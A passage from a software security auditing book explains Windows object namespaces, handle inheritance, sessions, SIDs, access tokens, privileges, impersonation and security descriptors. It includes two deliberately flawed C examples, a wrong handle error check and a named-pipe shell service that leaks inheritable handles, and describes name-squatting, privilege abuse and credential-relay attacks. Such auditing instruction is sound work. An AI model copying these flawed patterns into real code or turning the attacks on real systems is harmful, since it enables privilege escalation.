system objects or securable objects; the following list shows the most common groups of securable objects:  Directory service objects  File-mapping objects  Interprocess synchronization objects (Event, Mutex, Semaphore, and WaitableTimer objects)  Job objects  Named and anonymous pipes  Network shares  NTFS files and directories  Printers  Processes and threads  Registry keys (but not registry values)  Services  Window-management objects (but not windows) Note You can see a complete list of object types with the WinObj utility, available at www.sysinternals.com. If you're interested in learning more about the Windows architecture and KOM, check out Windows Internals 4th Edition by Mark E. Russinovich and David A. Solomon (Microsoft Press, 2005(? [????.])). Most securable objects are instantiated or connected to with a user-mode function of the form Create*() or Open*(). These functions generally return an object handle (the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 643 HANDLE data type) if the requested object is opened successfully. From the application's point of view, a handle is an opaque identifier for an open object not unlike file descriptors in UNIX. When an object is no longer needed, it can usually be closed by using the CloseHandle() function. One major advantage of this consistent object interface is that it allows unified access control mechanisms to be applied to all objects, regardless of their type or function. Note Although most objects are closed with CloseHandle(), a few require a specialized close routine, notably the RegCloseKey() function for closing registry key objects. Other programmatic constructs maintain the object metaphor, although they aren't true system objects. They are occasionally referred to as "nonsecurable" or "pseudo-objects," but these terms are just a generalization. Pseudo-objects include registry values and GUI windows, for example; the related securable objects are registry keys and window stations. For the purposes of this discussion, the most important distinction is that pseudo-objects don't accept a SECURITY_ATTRIBUTES structure as part of their creation, so they can't have Windows access control mechanisms applied to them. Object Namespaces Before you learn about access rights associated with objects, you need to understand the object namespace. In Windows, objects can be named or unnamed. Unnamed objects are anonymous and can be shared between processes only by duplicating an object handle or through object handle inheritance (discussed in "Handle Inheritance" later in this chapter). Conversely, named objects are given names when they are created. These names are used to identify objects by clients who want to access them. Named objects are stored in a hierarchical fashion so that applications can refer to them later. This hierarchy is referred to as an object namespace. Object namespaces are managed by the KOM. Historically, there has been only a single global namespace in Windows. However, the addition of Terminal Services adds a local namespace for every active terminal session. (Terminal Services are discussed in Chapter 12(? [????.]).) For now, assume the term "object namespace" refers to the global object namespace. An object namespace is similar to a typical file system; it's organized into directories that can contain both subdirectories and objects. It can also contain links to other objects or directories in the object namespace. These links are actually objects of the type SymbolicLink. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 644 You can view the object namespace with WinObj, a tool written by Mark Russinovich (available from www.sysinternals.com). Figure 11-1 shows the WinObj interface. On the left are several base directories containing objects and possibly subdirectories of their own. From a security-auditing perspective, you need to be aware that named objects created by anyone on the system are generally visible (although not necessarily accessible) to applications that query the namespace. Figure 11-1. The WinObj main window [View full size image] Note Readers more accustomed to UNIX systems might be curious about the security implications of the SymbolicLink object. Because it can point to arbitrary locations in the object namespace, it might seem as though the potential exists for symlink attacks, not unlike those that can occur at the file system level. However, creating SymbolicLink objects requires administrative privileges on the system, which makes an attack a nonissue. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 645 Namespace Collisions Because multiple applications (or multiple instances of the same application) often need to refer to objects, they are given a name by the creator and stored in the object namespace. This presents the opportunity for attackers to create objects of the same name before a legitimate application does. An object can then be manipulated to force the legitimate application to not function correctly or even steal credentials from a more privileged process. This type of attack is commonly referred to as a namespace collision attack, or name squatting. To understand how these attacks work, you need to be familiar with the Windows object creation API. Generally, each object type has a function to create an object instance and another function to connect to an existing instance. For example, the Mutex object uses the CreateMutex() and OpenMutex() functions. However, many of the Create*() functions actually support both operations; they can create a new object or open an existing one. This support can lead to vulnerabilities when an application attempts to create a new object but unwittingly opens an existing object created by a malicious user. Most Create*() functions take a pointer to a SECURITY_ATTRIBUTES structure, which includes the security descriptor for the object being created. If the Create*() function opens an existing object, it already has a security descriptor, so the security attributes being passed to the Create*() function are silently ignored. As a result, the application uses an object with entirely different access restrictions than intended. Most functions that support both creating and opening objects provide some way for the application to ensure that it creates a unique object or to detect that it has opened a preexisting object. Generally, this restriction is enforced through object creation flags and by checking return codes from the Create*() function. However, it might also require checking return values or using the GetLastError() function. As a code auditor, you need to understand the semantics of these functions so that you know when objects aren't instantiated safely. To emphasize this point, namespace collisions are revisited in a number of examples as you progress through this chapter and Chapter 12(? [????.]). Vista Object Namespaces Microsoft Windows Vista adds private object namespaces to help address name-squatting issues. A private object namespace allows an application to create its own restricted namespace via the CreatePrivateNamespace() and OpenPrivateNamespace() functions. Objects are then created and opened within the namespace by prepending the namespace name and a backslash (\). For example, the object name NS0\MyMutex refers to the MyMutex object in the NS0 namespace. The namespace is also a securable object, which raises the question: Is it possible to squat on namespace names in the same way that other objects' names can be The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 646 squatted on? The answer will become clearer when the final implementation is done and Vista is released. Based on initial implementations and documentation, it appears that attacks of this nature are mostly mitigated because of the use of a new type of (pseudo) object, known as a boundary descriptor. A boundary descriptor object describes SIDs and session IDs that an application must belong to in order to open a private namespace. The namespace is identified by both its name and boundary descriptor; different namespaces can have identical names if they have differing boundary descriptors. A boundary descriptor is created with the CreateBoundaryDescriptor() function. Any call to OpenPrivateNamespace() must include a boundary descriptor matching the associated call to CreatePrivateNamespace(). Presently, AddSIDToBoundaryDescriptor() is the only documented function for adding restrictions to a boundary descriptor; this function adds a supplied SID to an existing boundary descriptor. The preliminary documentation for namespaces, however, states that boundary descriptors will include other information, such as session identifiers. The documentation also states that any process can open a namespace regardless of the boundary descriptor, if the namespace doesn't supply a SECURITY_ATTRIBUTES structure with adequate access control. This statement gives the impression that the security of private namespaces will depend heavily on the namespace security descriptor and when the boundary descriptor is made visible to client processes. One final point: Private namespaces are intended only to address name-squatting issues. They won't provide any protection against direct access to an existing object with weak access control. Object Handles As mentioned, most securable objects are accessed by using the HANDLE data type. More accurately, the kernel references all securable objects by using handles; however, the corresponding user space data type might not directly expose the HANDLE data type in the object reference. An object can be referenced by name when it's created or opened, but any operations on the object are always performed by using the handle. The kernel maintains a list of all open handles categorized by the owning process. This list is enumerated with the native API function NtQuerySystemInformation() using the SystemHandleInformation class. In this manner, even an unnamed object could be accessed by another process. An object's discretionary access control list (DACL) is the only thing that prevents the object from being manipulated by another user context. DACLs and the dangers of NULL DACLs are discussed in "Security Descriptors(? [????.])" later in this chapter. However, note that any object not properly secured by access control can be manipulated, regardless of whether it's named. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 647 INVALID_HANDLE_VALUE Versus NULL You need to pay close attention to any function call that returns a handle in Windows because Windows API calls are inconsistent as to whether an error results in a NULL or an INVALID_HANDLE_VALUE (-1). For example, CreateFile() returns INVALID_HANDLE_VALUE if it encounters an error; however, OpenProcess() returns a NULL handle on an error. To make things even more confusing, developers can't necessarily test for both values because of functions such as GetCurrentProcess(), which returns a pseudo-handle value of -1 (equivalent to INVALID_HANDLE_VALUE). Fortunately, the pseudo-handle issue isn't likely to affect a security vulnerability, but it does show how a developer can get confused when dealing with Windows handles. Take a look at an example of this issue: HANDLE lockUserSession(TCHAR *szUserPath) { HANDLE hLock; hLock = CreateFile(szUserPath, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, 0); return hLock; } BOOL isUserLoggedIn(TCHAR *szUserPath) { HANDLE hLock; hLock = CreateFile(szUserPath, GENERIC_ALL, 0, NULL, CREATE_NEW, FLAG_DELETE_ON_CLOSE, 0); if (hLock == NULL) return TRUE; CloseHandle(hLock); return FALSE; } At first glance, this code might seem like a logical set of functions for locking a user's state. The first function simply creates a lock file with the share mode set to zero; so any other attempts to access this file fail. The second function can then be used to test for the file's existence; it should return TRUE if present or FALSE if not. It provides a simple way of maintaining some state between processes on remote systems by using a file share. The problem with this implementation is that it checks to see whether the returned handle is NULL, not INVALID_HANDLE_VALUE. Therefore, the function actually behaves The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 648 the opposite of how it was intended. Although this type of issue is normally a functionality bug, it can be a security issue in untested and rarely traversed code paths. Unfortunately, there's no particular method to determine which value to expect without consulting the Windows documentation. This issue is an artifact from the evolution of Windows. You simply have to refer to the MSDN and make sure the correct failure condition is tested for a handle returned from a particular function. Handle Inheritance People familiar with UNIX often aren't accustomed to how Windows handles process relationships. One of the biggest differences from UNIX is that Windows provides no special default privileges or shared object access to a child process. However, Windows does provide an explicit mechanism for passing open object instances to children, called handle inheritance. When a new process is created, the parent process can explicitly allow the child to inherit marked handles from the current process. This is done by passing a true value to the bInheritable parameter in a CreateProcess() call, which causes any handle marked as inheritable to be duplicated into the new process's handle table. The handles are marked as inheritable by setting a true value in the bInheritable member of the SECURITY_ATTRIBUTES structure supplied to most object creation functions. Alternately, the handle can be marked inheritable by calling DuplicateHandle() and passing a true value for the bInheritable argument. Typically, handle inheritance isn't a security issue because a parent process usually runs in the same context as the child. However, vulnerabilities can occur when handle inheritance is used carelessly with children spawned under another context. Handle inheritance can allow a child process to obtain a handle to an object that it shouldn't otherwise have access to. This error occurs because handle rights are assigned when the object is opened, so the OS views the handle in the context of the process that opened it, not the process that inherited it. For an example of where handle inheritance might be an issue, say a service listens on a named pipe interface and launches a command shell when a client connects. To prevent privilege escalation, the service impersonates the client user so that the shell runs with the appropriate permissions. (Impersonation is discussed in Chapter 12(? [????.]).) The following code demonstrates a function that might implement this capability. Some error checking was omitted for the sake of brevity. In particular, the CreateProcess() call was encapsulated inside CreateRedirectedShell(), but you can assume it passes true for the bInheritable argument. You can also assume the function creating this thread generated the handle by using ConnectNamedPipe() and has read client data, allowing impersonation to succeed. int tclient(HANDLE io) { int hr = 0; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 649 HANDLE hStdin, hStdout, hStderr, hProc = GetCurrentProcess(); if(!ImpersonateNamedPipeClient(io)) return GetLastError(); DuplicateHandle(hProc, io, hProc, &hStdin, GENERIC_READ, TRUE, 0); DuplicateHandle(hProc, io, hProc, &hStdout, GENERIC_WRITE, TRUE, 0); DuplicateHandle(hProc, io, hProc, &hStderr, GENERIC_WRITE, TRUE, 0); CloseHandle(io); hProc = CreateRedirectedShell(hStdin, hStdout, hStderr); CloseHandle(hStdin); CloseHandle(hStdout); CloseHandle(hStderr); hr = RevertToSelf(); if (hProc != NULL) WaitForSingleObject(hProc); return hr; } This code contains a subtle vulnerability that might cause the standard IO handles to leak into more than one process. Consider what would happen if two different users connected simultaneously and caused one of the threads to block inside the CreateRedirectedShell() function. Say that thread 1 blocks, and thread 2 continues to run. Thread 2 then spawns shell 2 and inherits its redirected IO handles. However, shell 2 also inherits the redirected handles from thread 1, which is currently blocked inside CreateRedirectedShell(). This occurs because the handles for shell 1 are marked as inheritable when shell 2 is spawned, so they are added to the process handle table for shell 2. Attackers could exploit this vulnerability by connecting at the same time as a more privileged user. This simultaneous connection would cause them to inherit the standard IO handles for the higher privileged process in addition to their own. This access allows attackers to simply issue commands directly to the higher privileged shell. This vulnerability might seem a bit contrived, but variations of it have been identified in deployed applications. In this example, the solution is to wrap the shell creation in a critical section and ensure that inheritable handles aren't used elsewhere in the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 650 application. In a more general sense, you should always scrutinize any use of handle inheritance and be especially careful when it involves different security contexts. This requires you to identify any process creation that can occur over the inheritable handle's lifespan. Therefore, it's generally a good idea for developers to keep the lifespan of these handles as short as possible. Handle inheritance vulnerabilities are actually rare because the use cases that lead to them are uncommon. The first step in finding them is to determine whether the application runs any processes in a separate security context and allows the child process to inherit handles. This step is easy; first you need to look for impersonation functions or other functions that allow altering the security context. Then you just need to look for the bInheritable parameter in calls to the CreateProcess() family of functions or in the SHELLEXECUTEINFO structure passed to ShellExecuteEx(). If you identify any children that can inherit handles, you need to identify inheritable handles by looking at all object creation calls and any calls to DuplicateHandle(). A well-written application should never create an inheritable handle at object instantiation, however; instead, it should duplicate an inheritable handle immediately before the process is created and free it immediately afterward. However, many applications aren't written this well, so you might have a difficult time finding all possible inheritable handles, especially if the developers had a habit of marking all handles as inheritable. After you have identified all the inheritable handles, you need to trace their use and determine whether their lifespan overlaps any child process creations you identified earlier. This part can be difficult because the handle might be marked inheritable in entirely unrelated code, or it might be inherited only in a race condition, as in the previous example. Fortunately, you can leverage some techniques discussed in Chapter 13(? [????.]), "Synchronization and State." Live analysis is also helpful, and Process Explorer (from www.SysInternals.com) is a useful tool for this purpose. This tool gives you detailed information on any process, including a list of open handles. It can also be used to search the process handle table for any named handles. Unfortunately, Process Explorer doesn't identify whether a handle is marked inheritable, but it's still useful in tracking down and validating the handles available to a process. 7.7.4 Sessions Before you can assess application security in a Windows environment, you must understand the system's security features. You need to know how security is applied and how access to system resources is mediated. Having this knowledge enables you to identify what users can and can't access and how the OS decides what privileges The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 651 users have. Therefore, this section introduces Windows sessions and the elements of access control that are referred to throughout this chapter and Chapter 12(? [????.]). Windows is a multiuser operating systemmeaning it can deal with multiple logged-on users simultaneously. Handling multiple simultaneous logons is accomplished by establishing sessions for each user who logs on successfully. A session is simply a mechanism for encapsulating data relevant to a logon instance. The data a session object maintains includes the following:  Information for governing process access rights  Data accessible to constituent processes in a session  Selected behavioral characteristics for processes started in a session Sessions ensure that concurrently logged-on users can run applications more or less isolated from each other, thus preventing users from interfering with each other's processes to a certain extent. Session data structures and sessionwide accessible objects are explained later in this section. Note Keith Brown is the author of The .NET Developer's Guide to Windows Security (Addison-Wesley, 2005(? [????.])), which is an exceptional reference for the Windows security model. If you're more concerned with the lower-level API, you might want to consider his earlier book Programming Windows Security (Addison-Wesley, 2000(? [????.])). However the coverage centers on Windows NT and 2000, so some of the material is no longer current. Security IDs Windows access control mechanisms determine what access an entity has to a resource. An entity's identity is determined by the security ID (SID), a structure that contains a number of fields, including a revision level, an identifier authority value, a variable-length subauthority, and a relative ID (RID). SIDs are often represented in a text format, with each subfield broken out separately, like so: S-<revision>-<identifier authority>-<subauthority>-<RID> An example of a SID might look something like this: S-1-5-32-545 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 652 This SID identifies the well-known Users group. The 1 is the revision number, which has been the same for every version of Windows; the 5 is the authority ID of SECURITY_NT_AUTHORITY; the 32 is the subauthority for built-in accounts; and the 545 identifies the Users group. Note SIDs can be converted between text and structure form by using the ConvertStringSidToSid() and ConvertSidToStringSid() functions, respectively. For the purposes of this discussion, you can just think of a SID as a unique number that identifies an entity on the system, more commonly referred to as a "principal." A principal is any uniquely identifiable entity on the system that can be granted specific access to a system resource. Principals can be users, service accounts, groups, or machinesany entity associated with a logon session or a collection of these entities. You frequently encounter SIDs throughout the discussion of the Windows security model, because they play an essential role in determining who has access to what. The important thing to remember about SIDs is that account names can change over time and vary between languages, but a SID, after it's assigned, never changes. Further, the values of well-known SIDsaccounts guaranteed to exist on every system or domainnever change, either. Here are some examples of wellknown SIDs: Administrator: S-1-5-<domain ID>-500 Administrators group: S-1-5-32-544 Everyone group: S-1-1-0 Local system account: S-1-5-18 Local service account: S-1-5-19 Local network account: S-1-5-20 Logon Rights Windows logon rights aren't a session component but should be understood in the context of sessions. Logon rights determine whether a user can establish a logon session on a machine and what type of session is allowed. To view these rights, open the Local Security Policy Editor and navigate to Local Policies and then User Rights Assignment. Table 11-1 briefly summarizes these rights from the MSDN listing. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 653 Table 11-1. Logon Rights Right Description SeNetworkLogonRight Allows a user to connect to the computer from the network. SeRemoteInteractiveLogonRight Allows a user to log on to the computer via a Remote Desktop connection. SeBatchLogonRight Allows a user to log on using a batch-queue facility, such as the Task Scheduler service. SeInteractiveLogonRight Allows a user to log on locally and start an interactive session on the computer. Note: Users who don't have this right can start a remote interactive session on the computer if they have the SeRemoteInteractive right. SeServiceLogonRight Allows a security principal to log on as a service. Services can be configured to run under the Local System, Local Service, or Network Service accounts, which have a built-in right to log on as a service. Any service that runs under a separate user account must be assigned this right. SeDenyNetworkLogonRight Prohibits a user from connecting to the computer from the network. SeDenyInteractiveLogonRight Prohibits a user from logging on directly at the keyboard. SeDenyBatchLogonRight Prohibits a user from logging on using a batch-queue facility. SeDenyServiceLogonRight Prohibits a user from logging on as a service. SeDenyRemoteInteractiveLogonRight Prohibits a user from logging on to the computer via a Remote Desktop connection. Access Tokens Access tokens are system objects that describe the security context for a process or thread. They are used to determine whether a process can or can't access a securable object or perform a system task that requires special privilege. Access tokens can be derived from a number of sources, but they are initially created when a user starts a new session. This initial token is referred to as a primary access token; it's assigned The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 654 to all new processes started in the current logon session. The MSDN description for access tokens contains a list of components that make up the access token; the following list shows the main fields of interest:  Security Identifier (SID) This SID identifies the user associated with this access token.  Group List This series of SIDs identifies all the groups the user belongs to at the time of logon.  Session Security Identifier This field is the logon session identifier associated with this token. Many tokens are associated with a single session.  Privilege List This field is a list of special privileges, or rights, required to perform system-related tasks.  Default DACL Every securable object creation routine takes a security descriptor parameter. The default DACL is applied when a NULL DACL is supplied and inheritance rules require a DACL.  Restricting SID List This field is a list of restricted SIDs for the token. Restricted tokens are discussed in more detail in "Restricted Tokens" later in this chapter. A token containing all this information is created at every user logon and is later copied for each process and thread spawned in the session. Note that the token is copied, as opposed to a reference being passed, because each process or thread can optionally modify certain attributes of its access token. By using a copy for each process and thread, modifications don't affect other processes in the same session. Only certain parts of the access token can be modified by a process and a thread. Obviously, the unrestricted capability to change certain components of the token (such as the user and group SIDs or the privileges list) would completely undermine the security model. However, several other fields (such as the default DACL) can be modified safely to address access control concerns in a session. Privileges As noted earlier, privileges are special permissions that allow a principal to perform system-related tasks. Table 11-2 lists privileges that can be granted to a principal. Table 11-2. Windows Privileges Privilege Name Description SeAssignPrimaryTokenPrivilege Allows a user to assign the primary access token for a process or thread. SeAuditPrivilege Allows a user to generate security logs. SeBackupPrivilege Allows a user to create backups of system files and directories. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 655 Table 11-2. Windows Privileges Privilege Name Description SeChangeNotifyPrivilege Allows a user to be notified when certain files or folders are changed. SeCreateGlobalPrivilege Allows a user to create global objects (available only in Windows Server 2003, Windows XP SP2, Windows 2000 SP4, and later). SeCreatePagefilePrivilege Allows a user to create a page file. SeCreatePermanentPrivilege Allows a user to create a permanent system object. SeCreateTokenPrivilege Allows a user to create new token objects. SeDebugPrivilege Allows a user to attach to and debug processes. SeEnableDelegationPrivilege Enables computer and user accounts to be trusted for delegation. SeImpersonateName Allows a user to impersonate a client (available only in Windows Server 2003, Windows XP SP2, Windows 2000 SP4, and later). SeIncreaseBasePriorityPrivilege Allows a user to increase the scheduling priority of a process. SeIncreaseQuotaPrivilege Allows a user to increase his or her quota. SeLoadDriverPrivilege Allows a user to load kernel drivers. SeLockMemoryPrivilege Allows a user to lock pages in memory. SeMachineAccountPrivilege Allows a user to add a workstation to the domain. SeManageVolumePrivilege Allows a user to manage files on a volume. SeProfileSingleProcessPrivilege Allows a user to profile a single process. SeRemoteShutdownPrivilege Allows a user to shut down the machine remotely. SeRestorePrivilege Allows a user to restore system files and directories. SeSecurityPrivilege Allows a user to manage audit logs. SeShutdownPrivilege Allows a user to shut down the machine. SeSyncAgentPrivilege Allows the use of synchronization services. SeSystemEnvironmentPrivilege Allows modification of firmware environment variables. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 656 Table 11-2. Windows Privileges Privilege Name Description SeSystemProfilePrivilege Allows a user to profile system performance. SeSystemtimePrivilege Allows a user to change the system time. SeTakeOwnershipPrivilege Allows a user to take ownership of objects and files owned by other users. SeTcbPrivilege Identifies a user as part of the trusted computing base. SeUnlockPrivilege Allows a user to unlock a laptop. SeUnsolicitedInputPrivilege Allows a user to read input from a terminal device. Privileges play a vital role in system integrity; obviously, the haphazard assignment of privileges could result in a compromise of the system. For example, a user with SeDebugPrivilege can take over processes owned by other users; this privilege would allow attackers to run arbitrary code in the context of another account. Similarly, a user with SeLoadDriverPrivilege might load a malicious driver into kernel mode, thus taking complete control of the system. The default allocation of privileges is generally safe. However, services and similar applications might require additional access. If this access isn't carefully considered, it could create operational vulnerabilities that allow privilege escalation. Some applications must also downgrade permissions dynamically, and failing to do so might result in similar implementation vulnerabilities. This concern is addressed more later in the "Restricted Tokens" section. Group List An access token contains a list of SIDs for all the associated user's group memberships. When attempting to access an object, the object DACL is checked against entries in the group list. Access is refused if no matching entries exist or if an entry explicitly denies access. Otherwise, access is granted if a matching SID entry provides the requested level of access or higher. The SID list is generated at logon and can't be updated during a session. This approach allows performing access checks quickly and efficiently, even in a distributed environment. To see how this works, you can easily alter your account membership with the Microsoft Management Console. Any changes you make affect the account, but the current session is untouched. You have to log back on under a new session for changes in group membership to take effect. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 657 There's an exception to the requirement that group membership can't be altered for an active session. Group memberships can be somewhat altered through the use of SID attributes, which are parameters associated with each SID entry in the group list. They define how the SID entry applies and how it can be altered. So although new groups can't be added, existing groups can be altered by manipulating their attributes, and although groups can't be removed, any SID entry that isn't mandatory can be disabled. Table 11-3 describes attributes that can be associated with SIDs in a group list. Table 11-3. SID Attributes SID Attribute Meaning SE_GROUP_ENABLED This SID is enabled for access checks. SE_GROUP_ENABLED_BY_DEFAULT By default, this SID is enabled. This information is used when a token is being reverted to its default state. SE_GROUP_LOGON_ID This SID is a logon session SID. SE_GROUP_MANDATORY This group SID is enabled and can't be disabled. SID_GROUP_OWNER The SID describes the owner of a group or object. SE_GROUP_RESOURCE This group SID identifies a domain local group. SE_GROUP_USE_FOR_DENY_ONLY This SID can be used for deny access control entries (ACEs) only; it's ignored when examining allow ACEs for an object. Restricted TokensF Some entries in a group list can be disabled, but even more extreme measures can be taken to reduce the permissions granted to a token. To do this, you create a restricted token, which is a token that has a nonempty restricted SID list. An access check for a restricted token differs from a normal token. An access check succeeds only if the DACL SID entry is present in both the normal group list and the restricted group list. Further, restricted tokens can set the SE_GROUP_USE_FOR_DENY_ONLY flag on mandatory SID entries. This approach can even be used to prevent the account from using its own SID for granting access to a resource. A restricted token can also revoke any privileges currently assigned to the token. By combining group and privilege restrictions, drastically limiting the access granted to a token object is possible. A restricted token is created by using the CreateRestrictedToken() function; its prototype is shown as follows: BOOL CreateRestrictedToken(HANDLE ExistingTokenHandle, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 658 DWORD Flags, DWORD DisableSidCount, PSID_AND_ATTRIBUTES SidsToDisable, DWORD DeletePrivilegeCount, PLUID_AND_ATTRIBUTES PrivilegesToDelete, DWORD RestrictedSidCount, PSID_AND_ATTRIBUTES SidsToRestrict, HANDLE NewTokenHandle) This function is used to supply a list of SIDs that can be disabled, to delete privileges from a token, and to add restricted SIDs to an access token. This effectively means that any process can create an access token containing a subset of the privileges and resource access rights the original token had. Of course, creating a new token might not be appropriate in many circumstances. Instead, you can modify attributes of the existing token with these functions: AdjustTokenGroups() and AdjustTokenPrivileges(). These functions can be used to alter an existing token by modifying group membership, as described in the section on group lists, or by altering token privileges. Here's the prototype of AdjustTokenGroups(): BOOL AdjustTokenGroups(HANDLE TokenHandle, BOOL ResetToDefault, PTOKEN_GROUPS NewState, DWORD BufferLength, PTOKEN_GROUPS PreviousState, PDWORD ReturnLength) This function can enable and disable groups in an access token, but the specified groups must already exist in the token's list of group SIDs. This function simply sets or clears the attributes discussed in the previous section. Primarily, it's used to set or clear the SE_GROUP_ENABLED attribute, which determines how the group affects an access check. A value of TRUE for the ResetToDefault parameter causes the NewState value to be ignored and the default state of the access token restored. Similarly, a process can enable or disable the privileges in an access token by using the AdjustTokenPrivileges() function. Here's the function prototype: BOOL AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 659 PDWORD ReturnLength) Modifications made with AdjustTokenGroups() aren't irrevocable. Further, modifications made by using AdjustTokenPrivileges() are permanent only in Windows XP SP2 and Server 2003 or later and only if the SE_PRIVILEGE_REMOVED flag is set in the NewState parameter. This creates situations in which attackers can reset the token to its default state should they gain control of the process through a vulnerability. A restricted token, however, prevents the token from being reset to its original group list and privilege state. Software Restriction Policies (SAFER) API Windows XP and Server 2003 added the Software Restriction Policies (SAFER) API to provide a simpler method of running processes under additional restrictions. The SaferCreateLevel() function provides machine and user scope restrictions and accepts five levels of security, ranging from disallowed to fully trusted. It can be used with SaferCreateTokenFromLevel() to create restricted tokens more easily. The SAFER levels from the MSDN are listed in Table 11-4. Table 11-4. SAFER Levels Value Meaning SAFER_LEVELID_DISALLOWED Software doesn't run, regardless of the user's access rights. SAFER_LEVELID_UNTRUSTED Allows programs to run with access only to resources granted to well-known groups, blocking access to Administrator and Power User privileges and personally granted rights. SAFER_LEVELID_CONSTRAINED Software can't access certain resources, such as cryptographic keys and credentials, regardless of the user's access rights. SAFER_LEVELID_NORMALUSER Allows programs to run as a user who doesn't have Administrator or Power User access rights. Software can access resources accessible by normal users. SAFER_LEVELID_FULLYTRUSTED Software access rights are determined by the user's access rights. Running Under Different Contexts Windows provides the capability to change the current thread's token or create a new process under a different token. Functionally, this capability is similar to the su The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 660 command in UNIX. However, the implementation and use of the Windows functionality is very different. The first major difference is that Windows requires the user's password credentials to create a token for another user context. Note At first, requiring the user's password credentials to create a token for another user context might seem a bit odd. The local system account has unrestricted access to the account database and at some level eventually creates the logon session and token. Of course, this is true for a stand-alone system, and undocumented API calls could be used to manually generate a logon session and token for any user. However, Windows stand-alone authentication is more of a subset of Windows domain authentication. In a domain environment, only a domain controller has the context necessary to issue credentials for domain-level users. So a local system could use the native API calls to forge a domain token, but it would lack credentials needed for any network authentication. In the end, it seems the Windows designers chose to punt on this issue. They simply provide an API that always requires password credentials for authenticating a user. There are actually a few options for creating a process under a new user context. The first option works in Windows 2000 and later and is available to any authenticated user. It involves starting a process under a new user session by calling CreateProcessWithLogonW(). This function provides a programmatic interface to the Secondary Logon Service and is basically the same as shelling the RunAs command. The next option for creating a new user context uses the lower-level Win32 security function, LogonUser(). In Windows 2000 and earlier, this function requires the caller to have the SE_TCB_NAME privilege (described as the "act as part of the operating system" right); this right should be granted only to highly privileged accounts. This restriction severely limits the use of this function on earlier versions of Windows; it's useful only for providing external authentication in services that don't use native Windows IPC mechanisms. Windows provides seven different logon types, depending on how the token must be used. This distinction is important because it can improve performance and prevent an exposure of credentials. Table 11-5 lists the available logon types from the MSDN. Table 11-5. Logon Types Value Meaning LOGON32_LOGON_BATCH This logon type is intended for batch servers, where processes can be running on behalf of users without their direct intervention. This type is also The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 661 Table 11-5. Logon Types Value Meaning for higher-performance servers that process many plain-text authentication attempts at a time, such as mail or Web servers. The LogonUser() function doesn't cache credentials for this logon type. LOGON32_LOGON_INTERACTIVE This logon type is intended for users who are interactively using the computer, such as a user being logged on by a terminal server, remote shell, or similar process. This logon type has the additional expense of caching logon information for disconnected operations; therefore, it's inappropriate for some client/server applications, such as a mail server. LOGON32_LOGON_NETWORK This logon type is intended for high-performance servers to authenticate plain-text passwords. The LogonUser() function doesn't cache credentials for this logon type. LOGON32_LOGON_NETWORK_CLEARTEXT This logon type preserves the name and password in the authentication package, which allows the server to make connections to other network servers while impersonating the client. A server can accept plain-text credentials from a client, call LogonUser(), verify that the user can access the system across the network, and still communicate with other servers. Windows NT: This value is not supported. LOGON32_LOGON_NEW_CREDENTIALS This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections. This logon type is supported only by the LOGON32_PROVIDER_WINNT50 logon provider. Windows NT: This value is not supported. LOGON32_LOGON_SERVICE Indicates a service-type logon. The account provided must have the service privilege enabled. LOGON32_LOGON_UNLOCK This logon type is for graphical identification and authentication (GINA) dynamic link libraries The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 662 Table 11-5. Logon Types Value Meaning (DLLs) that log on users who are interactively using the computer. This logon type can generate a unique audit record that shows when the workstation was unlocked. As you can see, each logon type performs slightly differently in handling credentials. For example, developers should use the LOGON32_LOGON_NETWORK type for a service that requires only authentication on the local system. Using another authentication mechanism in this situation, such as LOGON32_INTERACTIVE or LOGON32_NETWORK_PLAINTEXT, might cache sensitive user credentials unnecessarily. Attackers might then be able to steal credentials via an impersonation or Server Message Block (SMB) relay exploit. (Impersonation attacks are explained in more detail in Chapter 12(? [????.]).) After a token has been generated, it can be used to spawn another process by using CreateProcessAsUser() or CreateProcessWithTokenW(). Most user applications create a new token only when spawning a new process. However, a service might choose to replace credentials for the current thread by using SetThreadToken(), which brings you to a unique Windows capability known as impersonation. Impersonation Impersonation is the capability for a thread running under one user session to use the credentials of another user session. It's done in two ways. The first method is to generate a token as described previously and assign that token to a thread with SetThreadToken(). This function requires that the caller have the SE_TOKEN_IMPERSONATE right on the target thread handle. The second, and more complex, form of impersonation is used in IPC in a client/server scenario. It's intended to allow the server process to duplicate (or impersonate) the client's credentials. This capability allows Windows systems to perform a single sign-on (SSO) on an individual system or across a domain environment. This capability is discussed in more detail in Chapter 12(? [????.]). 7.7.5 Security Descriptors Securable objects have granular access controls applied through use of their security descriptors. A security descriptor is a structure that defines the following components: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 663  Owner SID Lists the owning user or group.  Group SID Lists the owning group (primarily unused in Win32).  Discretionary access control list (DACL) Lists account SIDs and their access permissions.  Security access control list (SACL) Lists the groups and accesses that trigger an audit event. From a code-auditing perspective, you need to look at object creation and access carefully. Chapter 2(? [????.]), "Design Review," discussed how an application design includes a security model to protect access to resources from potentially malicious entities. In this chapter, you can see how the object interface and access control structure implements the Windows security model. Auditing ACLs involves examining a list of access control entries (ACEs) stored in an ACL to figure out the exact permissions associated with a resource, which includes the object's immediate permissions and any inherited permissions. An ACE is a structure that describes what type of access can be granted or denied to an entity that can be 